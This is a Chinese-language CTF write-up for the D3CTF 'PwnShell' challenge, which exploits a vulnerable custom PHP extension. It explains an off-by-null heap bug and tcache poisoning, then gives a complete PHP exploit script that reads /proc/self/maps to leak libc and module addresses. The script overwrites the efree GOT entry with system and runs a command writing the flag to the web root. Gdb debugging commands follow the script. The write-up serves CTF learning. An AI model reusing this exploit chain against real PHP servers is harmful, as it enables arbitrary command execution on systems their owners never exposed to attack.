D3CTF PwnShell
[TOC] 参考博客1
题目分析
- 题目中add是一个堆块ck2存另一个堆块的地址ck1,这就有了利用的机会,如果可以控制ck2的内容,那么就有任意地址写
- edit是通过*ck2来找到ck1的,因此和add对应会有任意地址写
- delete先free ck1再free ck2
exp
- 还是用/proc/self/maps来泄露libcbase和vuln.so的base
- off-by-null的利用,注意到$b都是0x3f字节,为了避免off-by-null,free(7)后再add出来$c是0x40字节,就会覆盖ck8’中存的ck8的地址,也即是图中0x80变成0x00,也就是对应着ck5
- 那么edit(8)就相当于edit ck5了,先把ck5 free掉,然后edit(8)就类似tcache poison的打法
- 第一次add出ck5,第二次add就是efree_got了,add同时写入system
- 最后类似打hijackgot攻击成功
<?php
function str2Hex($str) {
$hex = "";
for ($i = strlen($str) - 1;$i >= 0;$i--) $hex.= dechex(ord($str[$i]));
$hex = strtoupper($hex);
return $hex;
}
function int2Str($i, $x = 8) {
$re = "";
for ($j = 0; $j < $x; $j++) {
$re .= pack('C', $i & 0xff);
$i >>= 8;
}
return $re;
}
function hex64(int $value):string{
static $hex64_table=[
0=>"0",1=>"1",2=>"2",3=>"3",4=>"4",5=>"5",6=>"6",7=>"7",8=>"8",9=>"9",10=>"a",
11=>"b",12=>"c",13=>"d",14=>"e",15=>"f"
];
$result = "";
for($i = 0; $i < 16; $i++){
$remainder = $value % 0x10;
$value = (int)($value/0x10);
$result = $hex64_table[$remainder] . $result;
}
return "0x" . $result;
}
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
// echo $buffer.'<br>';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
$libc="";
$mbase="";
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);
echo hex64($libc_base).'<br>';
echo hex64($mod_base).'<br>';
$system_addr = 0x4c490;
$efree_got = 0x4038;
$a = str_repeat("a", 0x40);
$b = str_repeat("b", 0x3f);
for ($i = 1; $i < 0xe; $i++) {
$n = 0x61 + $i;
$aa = pack("C", $n);
$aaa = str_repeat($aa, 0x40); //0x40大小的堆块
//addHacker中arg1是被放在另一个堆块上的
addHacker($aaa, $b);
}
$cmd = "/readflag > /var/www/html/flag.txt\x00";
editHacker(0,$cmd);
removeHacker(7);
$c = str_repeat("c", 0x40);
//这里会利用off-by-null
addHacker($a, $c); //把原来7的位置顶替,同时覆盖8原来的存的ck的最低字节为\x00
removeHacker(5);
editHacker(8, int2str($mod_base+$efree_got)); #edit 8 相当于可以edit ck5
addHacker($a, $b);
$payload = str_repeat(int2str($libc_base+$system_addr),8);
addHacker($payload, $b);
removeHacker(0);
?>
心得体会
- php中的string、go中的slice还有C++中的string都会在栈上开辟空间,这是很常见的。然后再把先前开的空间存的字符串复制到malloc开辟的空间上。
- 调试用到的指令
gdbserver 172.17.0.2:7777 /usr/local/bin/php /var/www/html/exp.php
target remote 172.17.0.2:7777
b _start
b *&__libc_start_main+128
b *&__libc_start_call_main+120
b *0x555555647a61
b zif_addHacker
b zif_removeHacker
b zif_editHacker
b zif_displayHacker
telescope 0x7ffff44750a0 arg2
telescope 0x7ffff448b000 arg1
telescope 0x7ffff44752d0 存ck7的chunk
telescope 0x7ffff448b280 ck7
telescope 0x7ffff448b200 ck5的位置
0x7ffff4475280 存ck6的chunk
0x7ffff448b240 ck6
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GLIBC"